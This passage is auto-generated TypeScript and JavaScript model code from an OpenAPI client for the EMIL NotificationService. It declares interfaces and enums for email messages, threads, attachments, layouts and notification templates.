* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface EmailAttachmentClass
*/
export interface EmailAttachmentClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailAttachmentClass
*/
'id': number;
/**
* Unique identifier code for the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'code': string;
/**
* Message code this attachment belongs to
* @type {string}
* @memberof EmailAttachmentClass
*/
'messageCode': string;
/**
* Original filename of the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'filename': string;
/**
* MIME content type
* @type {string}
* @memberof EmailAttachmentClass
*/
'contentType'?: string;
/**
* Size of the attachment in bytes
* @type {number}
* @memberof EmailAttachmentClass
*/
'sizeBytes'?: number;
/**
* S3 bucket where the attachment is stored
* @type {string}
* @memberof EmailAttachmentClass
*/
's3Bucket': string;
/**
* S3 key of the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
's3Key': string;
/**
* User who created this attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'createdBy': string;
/**
* User who last updated this attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'updatedBy': string;
/**
* Timestamp when the attachment was created
* @type {string}
* @memberof EmailAttachmentClass
*/
'createdAt': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailAttachmentClass } from './email-attachment-class';
/**
*
* @export
* @interface EmailMessageClass
*/
export interface EmailMessageClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailMessageClass
*/
'id': number;
/**
* Unique identifier code for the email message
* @type {string}
* @memberof EmailMessageClass
*/
'code': string;
/**
* Thread code this message belongs to
* @type {string}
* @memberof EmailMessageClass
*/
'threadCode': string;
/**
* Direction of the email
* @type {string}
* @memberof EmailMessageClass
*/
'direction': EmailMessageClassDirectionEnum;
/**
* Sender email address
* @type {string}
* @memberof EmailMessageClass
*/
'fromAddress': string;
/**
* Recipient email addresses
* @type {string}
* @memberof EmailMessageClass
*/
'toAddresses': string;
/**
* CC email addresses
* @type {string}
* @memberof EmailMessageClass
*/
'ccAddresses'?: string;
/**
* Email subject
* @type {string}
* @memberof EmailMessageClass
*/
'subject'?: string;
/**
* Plain text body of the email
* @type {string}
* @memberof EmailMessageClass
*/
'bodyText'?: string;
/**
* HTML body of the email
* @type {string}
* @memberof EmailMessageClass
*/
'bodyHtml'?: string;
/**
* Delivery status of the email
* @type {string}
* @memberof EmailMessageClass
*/
'deliveryStatus': EmailMessageClassDeliveryStatusEnum;
/**
* Message-ID header value
* @type {string}
* @memberof EmailMessageClass
*/
'messageIdHeader'?: string;
/**
* Timestamp when the email was sent
* @type {string}
* @memberof EmailMessageClass
*/
'sentAt'?: string;
/**
* Timestamp when the email was received
* @type {string}
* @memberof EmailMessageClass
*/
'receivedAt'?: string;
/**
* User who created this message
* @type {string}
* @memberof EmailMessageClass
*/
'createdBy': string;
/**
* User who last updated this message
* @type {string}
* @memberof EmailMessageClass
*/
'updatedBy': string;
/**
* Created at timestamp
* @type {string}
* @memberof EmailMessageClass
*/
'createdAt': string;
/**
* Updated at timestamp
* @type {string}
* @memberof EmailMessageClass
*/
'updatedAt': string;
/**
* Attachments on this message
* @type {Array<EmailAttachmentClass>}
* @memberof EmailMessageClass
*/
'attachments': Array<EmailAttachmentClass>;
/**
* Entity type this message is associated with
* @type {string}
* @memberof EmailMessageClass
*/
'entityType': string;
/**
* Entity code this message is associated with
* @type {string}
* @memberof EmailMessageClass
*/
'entityCode': string;
}
export declare const EmailMessageClassDirectionEnum: {
readonly Outbound: "outbound";
readonly Inbound: "inbound";
};
export type EmailMessageClassDirectionEnum = typeof EmailMessageClassDirectionEnum[keyof typeof EmailMessageClassDirectionEnum];
export declare const EmailMessageClassDeliveryStatusEnum: {
readonly Pending: "pending";
readonly Sent: "sent";
readonly Delivered: "delivered";
readonly Bounced: "bounced";
readonly Failed: "failed";
};
export type EmailMessageClassDeliveryStatusEnum = typeof EmailMessageClassDeliveryStatusEnum[keyof typeof EmailMessageClassDeliveryStatusEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmailMessageClassDeliveryStatusEnum = exports.EmailMessageClassDirectionEnum = void 0;
exports.EmailMessageClassDirectionEnum = {
Outbound: 'outbound',
Inbound: 'inbound'
};
exports.EmailMessageClassDeliveryStatusEnum = {
Pending: 'pending',
Sent: 'sent',
Delivered: 'delivered',
Bounced: 'bounced',
Failed: 'failed'
};
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface EmailThreadClass
*/
export interface EmailThreadClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailThreadClass
*/
'id': number;
/**
* Unique identifier code for the email thread
* @type {string}
* @memberof EmailThreadClass
*/
'code': string;
/**
* Entity type associated with this thread
* @type {string}
* @memberof EmailThreadClass
*/
'entityType': string;
/**
* Entity code associated with this thread
* @type {string}
* @memberof EmailThreadClass
*/
'entityCode': string;
/**
* Email subject of the thread
* @type {string}
* @memberof EmailThreadClass
*/
'subject'?: string;
/**
* Thread status
* @type {string}
* @memberof EmailThreadClass
*/
'status': EmailThreadClassStatusEnum;
/**
* User who created this thread
* @type {string}
* @memberof EmailThreadClass
*/
'createdBy': string;
/**
* User who last updated this thread
* @type {string}
* @memberof EmailThreadClass
*/
'updatedBy': string;
/**
* Created at timestamp
* @type {string}
* @memberof EmailThreadClass
*/
'createdAt': string;
/**
* Updated at timestamp
* @type {string}
* @memberof EmailThreadClass
*/
'updatedAt': string;
}
export declare const EmailThreadClassStatusEnum: {
readonly Open: "open";
readonly Closed: "closed";
};
export type EmailThreadClassStatusEnum = typeof EmailThreadClassStatusEnum[keyof typeof EmailThreadClassStatusEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmailThreadClassStatusEnum = void 0;
exports.EmailThreadClassStatusEnum = {
Open: 'open',
Closed: 'closed'
};
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailMessageClass } from './email-message-class';
/**
*
* @export
* @interface GetEmailMessageResponseClass
*/
export interface GetEmailMessageResponseClass {
/**
* The email message response.
* @type {EmailMessageClass}
* @memberof GetEmailMessageResponseClass
*/
'message': EmailMessageClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailThreadClass } from './email-thread-class';
/**
*
* @export
* @interface GetEmailThreadResponseClass
*/
export interface GetEmailThreadResponseClass {
/**
* The email thread response.
* @type {EmailThreadClass}
* @memberof GetEmailThreadResponseClass
*/
'thread': EmailThreadClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface GetLayoutRequestDto
*/
export interface GetLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof GetLayoutRequestDto
*/
'id': number;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface GetLayoutResponseClass
*/
export interface GetLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof GetLayoutResponseClass
*/
'layout': LayoutClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface GetNotificationTemplateRequestDto
*/
export interface GetNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof GetNotificationTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof GetNotificationTemplateRequestDto
*/
'expand'?: string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface GetNotificationTemplateResponseClass
*/
export interface GetNotificationTemplateResponseClass {
/**
* Template
* @type {NotificationTemplateClass}
* @memberof GetNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface HtmlTemplateClass
*/
export interface HtmlTemplateClass {
/**
* Html template id
* @type {number}
* @memberof HtmlTemplateClass
*/
'id': number;
/**
* Html template type
* @type {string}
* @memberof HtmlTemplateClass
*/
'type': string;
/**
* Html template content
* @type {string}
* @memberof HtmlTemplateClass
*/
'content': string;
/**
* Html template draft content
* @type {string}
* @memberof HtmlTemplateClass
*/
'draftContent': string;
/**
* Html template created at
* @type {string}
* @memberof HtmlTemplateClass
*/
'createdAt': string;
/**
* Html template updated at
* @type {string}
* @memberof HtmlTemplateClass
*/
'updatedAt': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
export * from './complete-email-verification-dto';
export * from './complete-email-verification-response-class';
export * from './create-layout-request-dto';
export * from './create-layout-response-class';
export * from './create-notification-template-request-dto';
export * from './create-notification-template-response-class';
export * from './delete-layout-request-dto';
export * from './delete-notification-template-request-dto';
export * from './download-attachment-response-class';
export * from './email-attachment-class';
export * from './email-message-class';
export * from './email-thread-class';
export * from './get-email-message-response-class';
export * from './get-email-thread-response-class';
export * from './get-layout-request-dto';
export * from './get-layout-response-class';
export * from './get-notification-template-request-dto';
export * from './get-notification-template-response-class';
export * from './html-template-class';
export * from './initiate-email-verification-dto';
export * from './initiate-email-verification-response-class';
export * from './inline-response200';
export * from './inline-response503';
export * from './layout-class';
export * from './list-email-attachments-response-class';
export * from './list-email-messages-response-class';
export * from './list-email-threads-response-class';
export * from './list-layouts-response-class';
export * from './list-notification-templates-response-class';
export * from './notification-template-class';
export * from './s3-document-dto';
export * from './send-notification-request-dto';
export * from './send-notification-response-class';
export * from './update-html-template-request-dto';
export * from './update-layout-request-dto';
export * from './update-layout-response-class';
export * from './update-notification-template-request-dto';
export * from './update-notification-template-response-class';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./complete-email-verification-dto"), exports);
__exportStar(require("./complete-email-verification-response-class"), exports);
__exportStar(require("./create-layout-request-dto"), exports);
__exportStar(require("./create-layout-response-class"), exports);
__exportStar(require("./create-notification-template-request-dto"), exports);
__exportStar(require("./create-notification-template-response-class"), exports);
__exportStar(require("./delete-layout-request-dto"), exports);
__exportStar(require("./delete-notification-template-request-dto"), exports);
__exportStar(require("./download-attachment-response-class"), exports);
__exportStar(require("./email-attachment-class"), exports);
__exportStar(require("./email-message-class"), exports);
__exportStar(require("./email-thread-class"), exports);
__exportStar(require("./get-email-message-response-class"), exports);
__exportStar(require("./get-email-thread-response-class"), exports);
__exportStar(require("./get-layout-request-dto"), exports);
__exportStar(require("./get-layout-response-class"), exports);
__exportStar(require("./get-notification-template-request-dto"), exports);
__exportStar(require("./get-notification-template-response-class"), exports);
__exportStar(require("./html-template-class"), exports);
__exportStar(require("./initiate-email-verification-dto"), exports);
__exportStar(require("./initiate-email-verification-response-class"), exports);
__exportStar(require("./inline-response200"), exports);
__exportStar(require("./inline-response503"), exports);
__exportStar(require("./layout-class"), exports);
__exportStar(require("./list-email-attachments-response-class"), exports);
__exportStar(require("./list-email-messages-response-class"), exports);
__exportStar(require("./list-email-threads-response-class"), exports);
__exportStar(require("./list-layouts-response-class"), exports);
__exportStar(require("./list-notification-templates-response-class"), exports);
__exportStar(require("./notification-template-class"), exports);
__exportStar(require("./s3-document-dto"), exports);
__exportStar(require("./send-notification-request-dto"), exports);
__exportStar(require("./send-notification-response-class"), exports);
__exportStar(require("./update-html-template-request-dto"), exports);
__exportStar(require("./update-layout-request-dto"), exports);
__exportStar(require("./update-layout-response-class"), exports);
__exportStar(require("./update-notification-template-request-dto"), exports);
__exportStar(require("./update-notification-template-response-class"), exports);
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InitiateEmailVerificationDto
*/
export interface InitiateEmailVerificationDto {
/**
* User email
* @type {string}
* @memberof InitiateEmailVerificationDto
*/
'email': string;
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof InitiateEmailVerificationDto
*/
'templateSlug'?: string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InitiateEmailVerificationResponseClass
*/
export interface InitiateEmailVerificationResponseClass {
/**
* Initiate verification result
* @type {boolean}
* @memberof InitiateEmailVerificationResponseClass
*/
'result': boolean;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse200
*/
export interface InlineResponse200 {
/**
*
* @type {string}
* @memberof InlineResponse200
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'info'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'error'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'details'?: {
[key: string]: {
[key: string]: object;
};
};
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse503
*/
export interface InlineResponse503 {
/**
*
* @type {string}
* @memberof InlineResponse503
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'info'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'error'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'details'?: {
[key: string]: {
[key: string]: object;
};
};
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { HtmlTemplateClass } from './html-template-class';
/**
*
* @export
* @interface LayoutClass
*/
export interface LayoutClass {
/**
* Layout id
* @type {number}
* @memberof LayoutClass
*/
'id': number;
/**
* Record owner
* @type {string}
* @memberof LayoutClass
*/
'owner': string;
/**
* Layout name
* @type {string}
* @memberof LayoutClass
*/
'name': string;
/**
* Layout slug
* @type {string}
* @memberof LayoutClass
*/
'slug': string;
/**
* Layout style
* @type {string}
* @memberof LayoutClass
*/
'style': string;
/**
* Header Template
* @type {HtmlTemplateClass}
* @memberof LayoutClass
*/
'headerTemplate': HtmlTemplateClass;
/**
* Footer Template
* @type {HtmlTemplateClass}
* @memberof LayoutClass
*/
'footerTemplate': HtmlTemplateClass;
/**
* Layout created at
* @type {string}
* @memberof LayoutClass
*/
'createdAt': string;
/**
* Layout updated at
* @type {string}
* @memberof LayoutClass
*/
'updatedAt': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailAttachmentClass } from './email-attachment-class';
/**
*
* @export
* @interface ListEmailAttachmentsResponseClass
*/
export interface ListEmailAttachmentsResponseClass {
/**
* List of email attachments
* @type {Array<EmailAttachmentClass>}
* @memberof ListEmailAttachmentsResponseClass
*/
'items': Array<EmailAttachmentClass>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailMessageClass } from './email-message-class';
/**
*
* @export
* @interface ListEmailMessagesResponseClass
*/
export interface ListEmailMessagesResponseClass {
/**
* List of email messages
* @type {Array<EmailMessageClass>}
* @memberof ListEmailMessagesResponseClass
*/
'items': Array<EmailMessageClass>;
/**
* Token for next page of results
* @type {string}
* @memberof ListEmailMessagesResponseClass
*/
'nextPageToken': string;
/**
* Total number of items
* @type {number}
* @memberof ListEmailMessagesResponseClass
*/
'totalItems': number;
/**
* Number of items per page
* @type {number}
* @memberof ListEmailMessagesResponseClass
*/
'itemsPerPage': number;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailThreadClass } from './email-thread-class';
/**
*
* @export
* @interface ListEmailThreadsResponseClass
*/
export interface ListEmailThreadsResponseClass {
/**
* List of email threads
* @type {Array<EmailThreadClass>}
* @memberof ListEmailThreadsResponseClass
*/
'items': Array<EmailThreadClass>;
/**
* Token for next page of results
* @type {string}
* @memberof ListEmailThreadsResponseClass
*/
'nextPageToken': string;
/**
* Total number of items
* @type {number}
* @memberof ListEmailThreadsResponseClass
*/
'totalItems': number;
/**
* Number of items per page
* @type {number}
* @memberof ListEmailThreadsResponseClass
*/
'itemsPerPage': number;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ListLayoutsResponseClass
*/
export interface ListLayoutsResponseClass {
/**
* Layouts
* @type {Array<string>}
* @memberof ListLayoutsResponseClass
*/
'items': Array<string>;
/**
* Next page token
* @type {string}
* @memberof ListLayoutsResponseClass
*/
'nextPageToken': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ListNotificationTemplatesResponseClass
*/
export interface ListNotificationTemplatesResponseClass {
/**
* Notification Templates
* @type {Array<string>}
* @memberof ListNotificationTemplatesResponseClass
*/
'items': Array<string>;
/**
* Next page token
* @type {string}
* @memberof ListNotificationTemplatesResponseClass
*/
'nextPageToken': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { HtmlTemplateClass } from './html-template-class';
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface NotificationTemplateClass
*/
export interface NotificationTemplateClass {
/**
* Template id
* @type {number}
* @memberof NotificationTemplateClass
*/
'id': number;
/**
* Record owner
* @type {string}
* @memberof NotificationTemplateClass
*/
'owner': string;
/**
* Template name
* @type {string}
* @memberof NotificationTemplateClass
*/
'name': string;
/**
* Template slug
* @type {string}
* @memberof NotificationTemplateClass
*/
'slug': string;
/**
* Layout id
* @type {number}
* @memberof NotificationTemplateClass
*/
'layoutId': number;
/**
* Body Template
* @type {HtmlTemplateClass}
* @memberof NotificationTemplateClass
*/
'bodyTemplate': HtmlTemplateClass;
/**
* Template Layout
* @type {LayoutClass}
* @memberof NotificationTemplateClass
*/
'layout': LayoutClass;
/**
* Template created at
* @type {string}
